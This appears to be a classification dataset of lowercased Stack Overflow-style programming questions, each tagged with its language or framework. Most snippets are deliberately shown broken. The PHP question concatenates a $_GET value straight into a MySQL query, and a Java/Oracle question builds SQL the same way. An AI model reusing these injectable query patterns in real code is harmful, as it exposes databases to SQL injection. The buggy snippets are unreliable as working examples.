mywindow.print() does not open print dialog box in internet explorer 11 <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt;  &lt;p&gt;click the button to open an about:blank page in a new browser window that is 200px wide and 100px tall.&lt;/p&gt;  &lt;button onclick= myfunction() &gt;try it&lt;/button&gt;  &lt;script&gt; function myfunction() {     var mywindow = window.open( https://www.google.com        width=200 height=100 );      mywindow.print();   } &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   in this codebase <code>mywindow.print()</code> does not open print dialog box in internet explorer 11. i want the window print dialog to open.    if i use <code>window.print()</code>  then it prints a blank page and not the page i want. i want <code>mywindow.print()</code> to open a print dialog box    please help!!,html
how to convert ost file pst file in java   i have one .ost file offline outlook data file  i want to extract data inside that file like emails  attachments etc.     for that i did not get any direct parser for ost file so i can extract data inside that. i have code to extract data from .pst file.    so according to my requirement i want to convert .ost file to .pst file in java. help from anyone will be appreciated .    i am trying following code but its giving me exception   i am not getting any solution for this .   <pre><code>package com.common;  import com.aspose.email.fileformat; import com.aspose.email.personalstorage;  public class parseost {      public static void main(string[] args) {         try {             personalstorage ost = personalstorage.fromfile( f:/ostfiles/otest.ost );             ost.saveas( f:/ostfiles/duplicateotest.pst   fileformat.pst);             system.out.println( done );         } catch(exception ex){             ex.printstacktrace();         }     } } </code></pre>   exception :    <pre><code>formatnotsupportedexception: the file is not in pst format     [ljava.lang.stacktraceelement;@86be70a        at com.aspose.email.akv.c(sourcefile:670)        at com.aspose.email.afi.j(sourcefile:1629)        at com.aspose.email.afi.b(sourcefile:1280)        at com.aspose.email.afi.&lt;init&gt;(sourcefile:162)        at com.aspose.email.yy.&lt;init&gt;(sourcefile:43)        at com.aspose.email.aku.&lt;init&gt;(sourcefile:123)        at com.aspose.email.personalstorage.a(sourcefile:299)        at com.aspose.email.personalstorage.fromfile(sourcefile:242)        at com.aspose.email.personalstorage.fromfile(sourcefile:215)        at com.common.parseost.main(parseost.java:12)   </code></pre>,java
eaaccessory problem  i have developed code using eaaccessory   and its work fine...    but when i disconnect eaaccessory  my application got exception like an error....i want to show an alert   while disconnecting eaaccessory....    i am using this line of code in my app   <ul> <li>(void)accessorydiddisconnect:(eaaccessory *)accessory;</li> </ul>   but this event is not fired ..when i disconnect my accessory....    can anyone help me      thanks in advance..........,iphone
simple html market   hey guys this is my question    if you go to 372designs.com and see one of the portfolio pages will be the lay out     under the.description text there will be a buy button     how do i code that buy button to make it.so that it takes them to a paypal or someother page and have them pay and be redirect back to 372designs and the file they click the buy button under is the file that s downloaded. is this html or someother type of coding      i tried to be as descriptive as i could and hopefully its clear :),html
replacing &nbsp; with something better  i have the following code.    i am trying to replace the user of 4 &amp;nbsp:   <pre><code>   &lt;p&gt;first: 10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;second: 21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;third:31&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp&lt;/p&gt; </code></pre>   i tried the following:   <pre><code>    &lt;span class= spanspc &gt; </code></pre>   css:   <pre><code>    .spanspacing {         margin-left:30px;          } </code></pre>,html
custom url rewriting causing updatepanel response redirecting  i have done custom url rewriting using ihttpmodule  but it cause update panel response.redirect.    i googled some more times but got the solution is   <pre><code>form1.action = request.rawurl; </code></pre>   and add <code>scriptmodule</code> in web config but these fix are not working in my case  but with out update panel all are working fine    my rewriting code is below   <pre><code>public void init(httpapplication context) {     context.beginrequest += (s  e) =&gt;     {         var application = s as httpapplication;         var physicalpath = application.request.physicalpath;         if (!file.exists(physicalpath) &amp;&amp; !path.hasextension(physicalpath))         {             var argstring = application.request.rawurl.replace( \\    / ).trimstart( / );             if (!string.isnullorempty(argstring))             {                 application.context.rewritepath( /default3.aspx );             }             else             {                 application.context.rewritepath( /default2.aspx );             }         }     }; } </code></pre>,asp.net
changing themes dynamically using masterpages in asp.net  i have created a master page and put in them in a drop box having 2 themes  professional and funky how can i change them dynamically and save the changes on master page  i have already created a base class  i just cant understand the code.   <pre><code>using system; using system.web; public partial class sitemaster:system.web.ui.masterpage {     private string _theme =   ;     public string theme     {         get { return _theme; }         set { _theme = value; }     } } public class basepage:system.web.ui.page {} </code></pre>,asp.net
indentationerror and other errors <pre><code>def urlgen(model. size): basesize = 500 # basesize is for shoe size 6.5 shoesize = 6.5 shoesize = shoesize - 6.5 shoesize = shoesize x 20 rawsize = shoesize + int(rawsize) url = https://www.adidas.com/us/ + str(model) +  .html forceselsize=  + str(model) + str(shoesizecode) return url model = raw_input( model # ) size = input( size:  )  url = urlgen(model. size)  print (str(url)) </code></pre>   im quite new to python and am coding an autimated urlgen for adidas.com and am getting multiple errors to do with indentationerror: unexpected indentation  expected in indented block  and expected white space around operator. however i am copying this code from a already made urlgen that works.    <a href= https://gyazo.com/b3d8a87fffd21dd26adb8206a17faf2b  rel= nofollow noreferrer >https://gyazo.com/b3d8a87fffd21dd26adb8206a17faf2b</a>,python
what difference between while(*p){p++;}  while (*++p){;} and while(*p++){;}   it s about <code>strcat</code> function.   <pre><code>while (*p)     p++; </code></pre>   and    <pre><code>while (*++p)     ; </code></pre>   both works  but   <pre><code>while (*p++)     ; </code></pre>   does not work. i think first and third should be same  but it s not.,c
storing of a value in an array and it s initialization   i might be a something basic or whatever i am not able to still figure out what will happen    for eg    if i write   <pre><code>char temp[3]=  ; </code></pre>   or   <pre><code> char temp[3]={0}; </code></pre>   or   <pre><code> char temp[3]={}; </code></pre>   or    <pre><code>char temp; </code></pre>   what will be the initialization in all four cases.    and if 0 is stored is it stored as ascii value     and if null then also is the ascii value stored.    if some elements are not declared do which value they have    garbage value or something specified,c
how to change cell content on highlight  in my <em>tableview</em> i load cells based on a xib file. the cell has a <em>imageview</em> in the background. how to change the image when user holds finger on a row  i dont meen <em>didselectrowatindexpath</em>  cause it means the user tapped the row.,ios
android: does the app still work if the domain from which a dependency imported is cancelled or removed   suppose  for example  i have added a dependency like com.mydependency.blabla in my android app. and later if the domain mydependency.com is removed from the web. will the features in my app still work,android
how do i get the contextinfo in beginsheetmodalforwindow:completionhandler:   i want to transition all my old usages of <strong>-beginsheetmodalforwindow:modaldelegate:didendselector:contextinfo:</strong> to the recommended <strong>-beginsheetmodalforwindow:completionhandler:</strong>. how do i define contentinfo: and get it in the completionhandler     here is an example of how the old code looks like:   <pre><code>[alert beginsheetmodalforwindow:window                   modaldelegate:self                  didendselector:@selector(alertdidend:returncode:contextinfo:)                      contextinfo:(void *)cfbridgingretain(fc)]; </code></pre>   the endselector method looks like this:   <pre><code>- (void)alertdidend:(nsalert *)alert returncode:(int)returncode contextinfo:(void *)contextinfo {     if (returncode == nsalertdefaultreturn)     {         filecontroller *fc = (__bridge filecontroller *)(contextinfo);          [...]     } }        </code></pre>   }    i guess the new method should look somewhat like this:   <pre><code>[alert beginsheetmodalforwindow:window completionhandler:^(nsmodalresponse alertreturncode) {     if (alertreturncode == nsalertfirstbuttonreturn)     {         // evaluate contextinfo here ...     } }]; </code></pre>   but i have no clue how to get the contextinfo into the completionhandler.    any help is appreciated.,objective-c
how would you create a safe int sum ilist extension   i would like to create a safe sum extension method that would have the same syntax as the normal sum.    this would be the syntax i d like to use:   <pre><code>result = allocations.sumintsafe(all =&gt; all.cost); </code></pre>   i use the <code>int.maxvalue</code> as a penalty value in my operations and two <code>int.maxvalue</code> summed together returns a <code>int.maxvalue</code>.    this is my adding function:   <pre><code>public static int penaltysum(int a  int b) {     return (int.maxvalue - a &lt; b)   int.maxvalue : a + b; } </code></pre>   any ideas      <strong>edit:</strong>    i would like to use this function on generic collections of objects that have the value to be summed in different properties:    ie   <pre><code>all.sumint32safe(all =&gt; all.cost);  days.sumint32safe(day =&gt; day.penalty); </code></pre>,.net
c# listbox item size limit  when i add an item to a listbox in c#  if the string is > 4680 characters it displays as a blank line. i can still access the entire string from within the program.    did i run up against a limit or am i doing something wrong,c#
iphone application that submits info to a website and gets results back  i am new to iphone development  i wonder where could i find:    1) the best tutorials to start iphone programming 2) info or code about how to submit info to a website (example search query to google) and get data back (show summary of query results on iphone)    thanks,iphone
rails + escape_javascript + locales  i have the below jquery script and i can t pass i value into locales=> :val   <pre><code>$(document).ready(function(){    var i = 1    function more(){       var information= $( &lt;%= escape_javascript(render :partial =&gt;  info   :locals =&gt; { :val =&gt; i }) %&gt; );       i = i+1;   }  }); </code></pre>   please guide me how to pass javascript variable to rails.    thanks,ruby-on-rails
fast way to check if array of dictionaries contain a dictionary with key   i have array of <code>nsdictionaries</code>   in which i have to check if a dictionary with a certain key is exist  and it should be as fast as possible (done many times in real time )    to check if dic has key you have :   <pre><code>bool contains = [[dictionary allkeys] containsobject:obj]; </code></pre>   or   <code>if([ dic objecetforkey:@ key ] != nil )</code>    but to check the full array i have to run on <em>all its objects</em>      e.g   <pre><code>bool is=0; for(nsdictionary *dic in array) if([ dic objecetforkey:@ key ] != nil ) is=1;  //is says if i have the dic . </code></pre>,objective-c
how to show multiple pin annotation in map   i m showing a pin annotation statically  but i want to do it dynamically to show a lot of pins on map with title and subtitle.    thx in advance.,iphone
how to do multiple typecast overloading in class  how does typecast overloading work exactly  in the following example there are two typecast overloading in class <code>test</code>. in visual studio 2008 it always calls the <code>int</code> version  but  in absence of <code>int</code> it calls <code>char</code> version. how does it decide which one to call      and is it even recommended to have such ambiguous overloading in same class    <pre><code>class test { public:     int a;     test():a(2){}     operator char()     {         return  c ;     }     operator int()     {         return 2;     }  }; int main() {     test obj;     cout&lt;&lt;obj;      return 0; } </code></pre>,c++
how to calculate number of days between two datepicker in android and display in the edit text  when user select date between from and to date. how to calculate number of days in 3rd edittext in android  following my code for datepicker. i have searched so many quotes in stackoverflow but unable to get it. please add necessary code and resolve it as soon as possible. after adding the code which is mentioned on stackoverflow  my app crashes frequently.   <pre><code>    public class resourceactivity extends appcompatactivity {         edittext date dateto days;         datepickerdialog datepickerdialog;         button save_btn;         calendar c1 c2;         @override         protected void oncreate(bundle savedinstancestate) {             super.oncreate (savedinstancestate);             setcontentview (r.layout.resourcedetails);              date = findviewbyid (r.id.date);             dateto = findviewbyid (r.id.dateto);             days = findviewbyid (r.id.dayst);             save_btn = findviewbyid (r.id.save_btn);              save_btn.setonclicklistener (new view.onclicklistener ( ) {                 @override                 public void onclick(view view) {                      loadsave();                  }             });                date.setonclicklistener(new view.onclicklistener() {                 @override                 public void onclick(view v) {                     // calender class s instance and get current date   month and year from calender                      c1 = calendar.getinstance();                     int myear = c1.get(calendar.year); // current year                     int mmonth = c1.get(calendar.month); // current month                     int mday = c1.get(calendar.day_of_month); // current day                     // date picker dialog                     datepickerdialog = new datepickerdialog(resourceactivity.this new datepickerdialog.ondatesetlistener() {                                  @override                                 public void ondateset(datepicker view  int year                                                        int monthofyear  int dayofmonth) {         // set day of month   month and year value in the edit text                                      string[] months = { january    february    march    april    may    june    july    august    september    october    november    december };                                     string mon=months[monthofyear];                                      date.settext(dayofmonth +  -                                              + (mon) +  -  + year);                                  }                             }  myear  mmonth  mday);                     datepickerdialog.show();                 }             });              dateto.setonclicklistener(new view.onclicklistener() {                 @override                 public void onclick(view v) {                     // calender class s instance and get current date   month and year from calender                      c2 = calendar.getinstance();                     int myear = c2.get(calendar.year); // current year                     int mmonth = c2.get(calendar.month); // current month                     int mday = c2.get(calendar.day_of_month); // current day                     // date picker dialog                     datepickerdialog = new datepickerdialog(resourceactivity.this  new datepickerdialog.ondatesetlistener() {                                  @override                                 public void ondateset(datepicker view  int year  int monthofyear  int dayofmonth) {                                     // set day of month   month and year value in the edit text                                     string[] months = { january    february    march    april    may    june    july    august    september    october    november    december };                                     string mon=months[monthofyear];                                     dateto.settext(dayofmonth +  -  + (mon) +  -  + year);                                    }                             }  myear  mmonth  mday);                     datepickerdialog.show();                 }             });   try {             string d1 = date.gettext ().tostring ();             string d2 = dateto.gettext ().tostring ();              simpledateformat simpledateformat = new simpledateformat( dd-mon-yyyy );             date date1 = simpledateformat.parse(d1);             date date2 = simpledateformat.parse(d2);             long difference = math.abs(date1.gettime() - date2.gettime());              long difftdays = difference / (24 * 60 * 60 * 1000);              log.i( testing   days  +difftdays);           }         catch(exception ex)         {              ex.printstacktrace();         }           }     } </code></pre>,android
how to access from parent form to a certain child form generated in ng-repeat without the need to add things like frmchild {{$index}}   how to access from <code>frmparent</code> to a certain <code>frmchild</code>   (without the need to add things like: <code>frmchild {{$index}}</code>).     <pre><code>&lt;div ng-form= frmparent &gt;  how to know frmchild (i.e at index 3) $pristine value from here     &lt;div ng-form= frmchild  ng-repeat= item in mct.listofelements &gt;         {{item.name}}:         &lt;input type= text  ng-model= item.value  /&gt; pristine: {{frmchild.$pristine}}     &lt;/div&gt; &lt;/div&gt; </code></pre>   here is a <a href= https://plnkr.co/xe3jjcuerj5tfbfvoa5g  rel= nofollow >working example</a> to play with what i m talking about.,angularjs
double free or corruption (faststop) after malloc() call  i have a small program to dynamically allocate array of pointer so user can enter an array of character as many time as they want. i created a struct with flexible array of pointer. the problem is when i try to <code>free(arrayptr)</code> and <code>free(arrayptr -&gt; str[i])</code> from <code>malloc</code> call. it gives me the error <strong>double free or corruption (faststop)</strong>. but when i take them out. the program works fine but i still don t understand why. what happened behind the scene  am i not supposed to use <code>free()</code> in this case    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;ctype.h&gt; #include &lt;stdbool.h&gt;    /* get num */ char *getnum() {     char *_new  *num  c;      int i;      num =  malloc(sizeof(char));      for (i = 0; (c = getchar()) != eof &amp;&amp; c !=  \n ; i++)     {         _new = realloc(num  i + 2);                  num = _new;         num[i] = c;     }      if (c ==  \n )          num[i] =  \0 ;      num[i] =  \0 ;      return num; }   struct strholder {    int size;    char *str[]; };   // main int main()  {        char *longnum;       unsigned i = 0;       struct strholder *arrayptr = malloc(sizeof (struct strholder));        for (i = 0; i &lt; 6; i++)           arrayptr -&gt; str[i] = malloc(sizeof (arrayptr -&gt; str[i]));        i = 0;       while (i &lt; 6) {                  printf( enter %u number:    i + 1);          longnum = getnum();                  arrayptr -&gt; str[i++] = longnum;           }          for (i = 0; i &lt; 6; i++)          printf( \nnum is &gt;&gt; %s\n   arrayptr -&gt; str[i]);         for (i = 0; i &lt; 6; i++)           free(arrayptr -&gt; str[i]);         free(longnum);      free(arrayptr);       return 0;  } </code></pre>,c
how do i uninstall .net 4.6 rc   i know now i should have installed visual studio 2015 rc on a vm  but i didn t  so when i uninstalled it  .net 4.6 rc didn t leave with it unfortunately.  this probably wouldn t be an issue  but when i tried to install a particular extension into vs 2013 the installer wouldn t continue  saying that it couldn t detect the right version of the .net framework (it was looking for 4.5). 4.6 is an in place upgrade so that means vs 2013 is now running on it as well as can be seen when going to the help -> about dialog.      i see .net 4.6 rc in the list of programs in the control panel so surely i can just uninstall it there and be done with it.  so that is in fact what i did and the uninstaller reported success.    no go. the extension still complains about the wrong version of the .net framework and vs 2013 still says it s running on 4.6.  i thought maybe this was just a registry setting that the uninstaller forgot to reset  but when i took a look at system.dll located in the .net 4 install directory  it in fact shows the version number as 4.6.000.30. i thought maybe a repair on vs 2013 might do the trick but that didn t work either.       so how do i get rid of this sucker   thank you in advance for your response.,.net
mysql syntax for where clause  im not good in php. i have a web application that displays the data from my mysql database. i am not getting any erros but i need to fetch the data i want.    ex. code.   <pre><code>&lt; php $dbhost =  localhost ; $dbuser =  user ; $dbpass =  password ; $conn = mysql_connect($dbhost  $dbuser  $dbpass); $token = $_get[ token ];  if(! $conn )   {     die( could not connect:   . mysql_error());   } $sql =  select * from table where token =    . $token .    ;  mysql_select_db( database ); $retval = mysql_query( $sql  $conn ); if(! $retval )   {     die( could not get data:   . mysql_error());   }   while($row = mysql_fetch_array($retval  mysql_assoc))    {      //displays the data    echo  the token is here ;    }    mysql_close($conn);    &gt; </code></pre>   i have no errors in here. but i need to do something like  if the token data is not yet added to the table  then i will put an echo message like..  the token is not yet added here . where i can put the syntax here  please help me. i am new in php.,php
sqlzoo nobel quiz #3—what s the difference between these statements   <a href= https://sqlzoo.net/wiki/nobel_quiz  rel= nofollow noreferrer >https://sqlzoo.net/wiki/nobel_quiz</a>    the table in question is displayed at the top of the page.    two answer choices for question 3   pick the code that shows the amount of years where no medicine awards were given   are as follows:   <pre><code>select count(distinct yr) from nobel where yr in (select distinct yr from nobel where subject &lt;&gt;  medicine ) </code></pre>   and   <pre><code>select count(distinct yr) from nobel where yr not in (select distinct yr from nobel where subject =  medicine ) </code></pre>   sqlzoo only takes the second option as a correct answer  but  to me  these answers look like they d return the same results. could someone give some insight as to why the first option is incorrect  thanks.,sql
sql exclude records with timestamps defined in the separate table  i need to write sql that excludes records with date in a certain date range. the range is defined by another table.    first table1 looks like this:    date        value   <pre><code> 1-jan-15 00:00 .  123  1-jan-15 00:01 .  999 .................  ...  15-jan-15 16:42   ... </code></pre>   second table2 looks like this:   <pre><code>start_date        end_date  4-jan-15 12:05    4-jan-15 12:17    7-jan-15 12:15    4-jan-15 14:10   etc </code></pre>   i need all the values from table1 except the ones with the timestamp between table2.start_date and table2.end_date,sql
pointer of int calculate average  i have a problem in the result of the average in the function calcular  not return a correct number  and the rand return values equals  i dont know the reason for the bad average    <pre><code>#include &lt;stdio.h&gt;  #include &lt;stdlib.h&gt;  int calcular(int * _arreglo  int * _tam);  int main(int argc  char * argv[]) {     int tam = 0;     if (argc == 2) {         tam = atoi(argv[1]);     } else {         printf( no se ha ingresado correctamente el tamaño \n );         exit(1);     }     int * arreglo;     arreglo = (int * ) malloc(sizeof(int) * tam);     int i;     for (i = 0; i &lt; tam; i++) {         arreglo = (int * )(rand() % 101);         printf( soy %d \n   ((int)(arreglo)));         arreglo++;     }     int promedio = calcular(arreglo  &amp; tam);     printf( promedio: %d \n   promedio);     free(arreglo);     return 0; }  int calcular(int * _arreglo  int * _tam) {     int pro = 0;     int i;     _arreglo = _arreglo - ( * _tam);     for (i = 0; i &lt; * _tam; i++) {         pro = pro + ((int)(_arreglo));         _arreglo++;     }     return (pro / ( * _tam)); } </code></pre>,c
remembering the value of a counter <pre><code>#include &lt;stdio.h&gt;  int main() {  int input  counter value; int abc[3];  counter = 0;  scanf( %d   &amp;input);  switch (input) { case 1:     if (counter &gt;=4)     {         printf( error\n );      }     scanf( %d   &amp;value);     abc[counter]= value;     printf( abc[%d] is %d \n   counter  abc[counter]);     counter++;     main();     break;  case 2: //do anything     main();     break; default:      printf( a is anything\n );      break; }  return 0; } </code></pre>   i want to put in array abc every time i choose case 1 a value  until array abc is full. my problem is  that i can only enter in this programm values into abc[0] . is there any way  to remember the value of counter  so it s not always 0  maybe using if-statement  but how to formulate an if-statement in this programm  which is only once in the beginning true     but abc should also be allowed to have empty space,c
how to show static extension in php executable    is there a way to show which static modules are built into the php executable       php -m  shows both static and shared,php
mysql sub-select in on duplicate key  is it possible to do a select in an if statement in on duplicate key update      lets say i want to setup shipping rates by zip code  and in case of duplicate zip code entered  i want to apply the highest rate to apply.     my database has a table of shipping rates and a table of zip codes. the zip code table has a foreign key referencing the shipping rates  and the zip code which has a unique index.     when there is a duplicate key  i want to set the shipping rate id to the higher rate. something like this:    <code>insert into zipcodes (shippingrateid  zip) values (11   13754 ) on duplicate key update shippingrateid = if((select rate from shippingrates sr where sr.shippingrateid = shippingrateid) &gt; [current rate]  shippingrateid  values(shippingrateid))</code>    when i try to execute this query  mysql tells me  subquery returned more than one record . being that there is only one matching record in the shippingrates table  i don t understand how more than one record was returned. what is actually happening is that in the sub-select  shippingrateid is always referring to the shippingrates table  and the shippingrateid of the insert is not being used. so without using limit  all the shipping rates are being returned. if i do use limit 1  then i ll always get the first rate  which is wrong.    how do i tell the sub-select to use shippingrateid from the insert,mysql
set httpheader in objective c  i was wondering how to set an httpheader in objective c.    in php  my code looks like :   <pre><code>    $headers = array(              sign:  .$sign               key:  .$key              );      //i send it with curl      curl_setopt($ch  curlopt_httpheader  $headers); </code></pre>   i tried a few things but i m not able to create the array that is made by php so my request get refused by the server.    does anyone have an idea,objective-c
using pointers and structs  hello i m not sure if i m understand the following piece of code. i would glad if someone could read my explanations and correct me if i m wrong.  <br/> so first of all i m declaring a struct with three arrays of char and an integer.   <pre><code>struct employee  {     char last[16];     char first[11];     char title[16];     int salary;  }; </code></pre>   <br/> after that i declare a function which takes three pointers to char and an integer value. this function uses malloc() and sizeof() to create a struct on the heap. now this creations of the object on the heap is not really clear to me. when i use <code>struct employee* p = malloc(sizeof(struct employee))</code>  what happens there <strong>exactly</strong> <br/> what happens when i use the function <code>struct employee* createemployee (char* last  char* first  char* title  int salary)</code> several times with different input. i know that i will get back a pointer p but isn t that the same pointer to the same struct on the heap. so do i rewrite the information on the heap  when i use the function several times  or does it always create a new object in a different memory space    <pre><code>struct employee* createemployee(char*  char*  char*  int);  struct employee* createemployee(char* last  char* first  char* title  int salary)   {     struct employee* p = malloc(sizeof(struct employee));     if (p != null)      {         strcpy(p-&gt;last  last);         strcpy(p-&gt;first  first);         strcpy(p-&gt;title  title);         p-&gt;salary = salary;     }     return p;  } </code></pre>   i would be glad if someone could explain it to me. thank you very much.,c
how would i loop this on python   how would i loop this code to make it so that the user inputs the number of friends they have  their names  and in the end  the program will be able to output the information  this is what i have so far  but i believe it s incorrect.    <pre><code>friends = int(input( please enter number of friends ) for i in range(friends):     name = input( please enter friend number 1: ) </code></pre>,python
website validation in angularjs  i have a field that accepts a url. how do i validate this url in angularjs.   <pre><code>&lt;div class= controls &gt;    &lt;input type= text  ng-model= controller.data.propertywebsite /&gt; &lt;/div&gt; </code></pre>   any ideas and suggestions are appreciated !!!!,angularjs
java oracle sql missing select keyword  i have this query  can t find the error that gives missing select keyword.    dbverbinding is an object which has the method to insert to the database. this has worked for other insert query. however this query doesn t work.   <pre><code>        dbverbinding.insertupdatedelete( insert into schedule ( date   employee_id  daypart)               +  values(  +datum+      +id+      +daypart+  ) ); </code></pre>   edit:  i was trying with hardcoded values  nevertheless this doesn t work.   <pre><code>        dbverbinding.insertupdatedelete( insert into schedule ( date   employee_id  daypart)               +  values( 29-05-14   1   avond ) ); </code></pre>,sql
c# statement tokens  somewhere i ve read:   <blockquote>    statements are formed from tokens. these tokens can be keywords  identifiers (variables)  operators  and the statement terminator which is the semicolon (;).  </blockquote>   i was wondering  are these the only  tokens  from which c# statements are formed  are there any other that are not mentioned,c#
use elcimagepickercontroller to pick video  i am trying to pick video by <code>elcimagepickercontroller</code> from photo library  but when i print this   <pre><code>nslog(@ %@  [dict valueforkey:@ uiimagepickercontrollermediatype ]); </code></pre>   it returns <code>alassettypevideo</code>   not a <strong>public.movie</strong> type     i have no idea is there any way to pick a movie(like .mov) from <code>alassettypevideo</code>      sorry   my english is not very good : ),ios
c# switch fallthrough error   i have no idea why i m getting this following error:   <blockquote>    control cannot fall through from one case label ( case  h : ) to another (cs0163)  </blockquote>   only for h and s - quite strange.   <pre><code>switch(mychoice) {     case  k :     case  k :         console.writeline( you have chosen the kanto region );         break;     case  o :     case  o :         console.writeline( you have chosen the orange islands );         break;     case  j :     case  j :         console.writeline( you have chosen the johto region );         break;     case  h :     case  h :         console.writeline( you have chosen the hoenn region );     case  s :     case  s :         console.writeline( you have chosen the sinoh region );     case  u :     case  u :         console.writeline( you have chosen the unova region );         break;     case  r :     case  r :         console.writeline( return );         break;     default:         console.writeline( {0} is not a valid choice   mychoice);         break; } </code></pre>,c#
performing long multiplication with vectors  i am writing a file that will take in two lists of coefficients for polynomials and multiply them together to produce a single list of coefficients that represents a new  resultant polynomial.     i have been able to write pretty much all of the code except for the part where i actually multiply them because i am unsure how to do long multiplication in code. by long multiplication i mean how you would do it in grade school where you would multiply digits and add them all up at the end  except instead of digits its coefficient terms  with each coefficient being an entry in a vector.    for example if one vector is (4 0 0 0 0 0 80 3) and the second is (0 7 0 0 4) the resultant vector would be (0 28 0 16 0 0 0 560 21 0 320 12)    im at a loss for how to make this work  any help would be greatly appreciated   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt;  int up_multiply(std::vector&lt;int&gt; in1  std::vector&lt;int&gt; in2) {     std::vector&lt;int&gt; w3; // creates vector of type int for resultant polynomial      for(int a=0; a&lt;in2.size(); a++)     {         for(int b=0; b&lt;in1.size(); b++)         {             // multiplication will go here         }     }      for(int i=0; i&lt;w3.size(); i++) // outputs w3     {         std::cout&lt;&lt; w3[i] &lt;&lt;    ;     }     std::cout&lt;&lt; std::endl;      return 0; } </code></pre>,c++
how to overload ostream operator<< for a pimpl class   this is what i tried so far:   <pre><code>class fahrzeug { public:      std::string id() const;     void id(const std::string &amp;id);      friend std::ostream&amp; operator&lt;&lt; (std::ostream &amp;out  const fahrzeug &amp;fzg)     {         out &lt;&lt; id();         return out;     }  private:     struct datenimpl;     boost::scoped_ptr&lt;datenimpl&gt; _datenimpl; }; </code></pre>   this yields a compiler error:   <blockquote>    error c2352: id() - illegal call of non-static member function  </blockquote>   <strong>how can i implement the ostream operator&lt;&lt; for a  pimpled  class </strong>,c++
angularjs - better implementation for hiding dom elements based on filter changes  i was writing a sample app to display a set of youtube videos using angularjs and filtering the videos based on language. i am binding user action to ngfilter and hiding and displaying filter based on that.    <pre><code>please see js fiddle for code ==&gt; http://jsfiddle.net/saratchandramrs/kxk9p/ </code></pre>   if the ideal place to put the dom manipulation code is on the directive per this angularjs post - <a href= https://stackoverflow.com/questions/14994391/how-do-i-think-in-angularjs-if-i-have-a-jquery-background >click here</a>    should i be doing something with the directives in my example  or would it be a overkill or could someone help me understand if i am doing it right per angularjs principles  or if there is a better way to do what i am doing     also  every time the filter value changes  the dom reloads  is there a way we can accomplish this functionality with out the reload  or is it like hiding individual elements based on the filter value (similar to css style: display:none )     side note: i am using bootstrap 3 for ui styling.    thanks for the guidance.,angularjs
multiple column duplicate entry check mysql  i m aware that you can create a unique column in your mysql table  but i m actually looking to compare two columns.    so if i had records like:   <pre><code>time          user       table 10:00pm       fred       29 11:00am       bob        33 </code></pre>   i could insert a new record with the <code>time 10:00pm</code> and <code>table 33</code> but not <code>10:00pm table 29</code>.    i know i could run a query and then nullify my ability to insert a new record if i had results from that query based on comparing those two fields  but i m wondering if there is a more elegant solution wherein i can get a duplicate entry error from mysql on the insert and save myself a few lines of code.,mysql
angularjs 1.2 code not working propely  here is my angularjs 1.2 code it is not working as expected.     can you take a look and help me out    <pre><code>angular.module( myapp   [])   .controller( customersctrl   [ $scope    $http   function ($scope  $http) {   $scope.getpeople = function (count) {     // json callback not working     $http.jsonp( http://www.filltext.com/ rows=  + count +        &amp;fname = { firstname } &amp; callback = json_callback  ).success(function (data) {       $scope.people = data;     });   };   $scope.countselection = 10;   $scope.getpeople($scope.countselection); }]); </code></pre>,angularjs
what are web services in asp.net and how can we use them  i am new to asp.net and just started my first project. i heard about web services in asp.net. can anyone tell me about how can they benefit me in my websites and applications and can it be run on window applications as well.,asp.net
new to asp.net  i am wanting to learn asp.net and am just a beginner. i have done some windows c# forms development before but have no experience of web development.    i have looked at the asp.net website but beyond this  does anyone have any ideas as to good learning resources particulary in relation to the differences to windows development. for instance  it seems that the way events work is quite different under asp to windows forms.    thanks you all.    thank you very much. i will have a look at mvc. it looks even more complicated but if this is the way things are going then i would be better maybe to invest my learning in this.,asp.net
failing to trigger checked event on checkboxes  i have hierarchy which i need to bind to checkbox for parent and checkboxlist for 1 level children.    somehow i cannot get to checkboxes(checkboxparent_checkedchanged) checkboxlist s (checkboxlistchildren_selectedindexchanged) select events  without updatepanel as well.    working on it for 4 hours without any result  why i can t enter event when i check some checkbox      what am i doing wrong      thanks   <pre><code>protected void page_load(object sender  eventargs e) {     if (!ispostback)     {         listviewcategories.datasource = categorymanager.listhierarchy();         listviewcategories.databind();     } }  protected void checkboxparent_checkedchanged(object sender  eventargs e) {     if (((checkbox)sender).checked)     {      }     else     {     } }  protected void checkboxlistchildren_selectedindexchanged(object sender  eventargs e) {     if (((checkboxlist)sender).selecteditem != null)     {      }     else     {     } }       &lt;asp:updatepanel id= updatepanelcategories  runat= server  childrenastriggers= true  updatemode= conditional &gt;        &lt;contenttemplate&gt;             &lt;asp:listview id= listviewcategories  runat= server &gt;                 &lt;layouttemplate&gt;                     &lt;div id= itemplaceholder  runat= server &gt;&lt;/div&gt;                 &lt;/layouttemplate&gt;                 &lt;itemtemplate&gt;                     &lt;asp:checkbox id= checkboxparent  runat= server  text= &lt;%# eval( key.name ) %&gt;  oncheckedchanged= checkboxparent_checkedchanged  /&gt;&lt;br /&gt;                     &lt;asp:checkboxlist id= checkboxlistchildren  runat= server  onselectedindexchanged= checkboxlistchildren_selectedindexchanged  repeatdirection= horizontal  datasource= &lt;%# databinder.eval(container.dataitem   value ) %&gt;  datatextfield= name &gt;&lt;/asp:checkboxlist&gt;&lt;br /&gt;&lt;br /&gt;                 &lt;/itemtemplate&gt;             &lt;/asp:listview&gt;        &lt;/contenttemplate&gt;    &lt;/asp:updatepanel&gt; </code></pre>,asp.net
how to get content size of uinavigationcontroller   i m trying to get content size of uinavigationcontroller. <br> i can get content size which considered just navigationbar s height using like this way. <br>   <pre><code>cgsize contentsize = self.view.bounds.size; </code></pre>   but i want to get it considered navigationbar and toolbar s height.    how to get it  <br> <br>    ========  comment after question ==================== <br> oh~ my mistake. <br>  you can get frame size considered two by above way. =============================================== <br>    <br> landscape    <img src= https://i.stack.imgur.com/c92gw.png  alt= enter image description here >    portrait    <img src= https://i.stack.imgur.com/mvi4b.png  alt= enter image description here >,objective-c
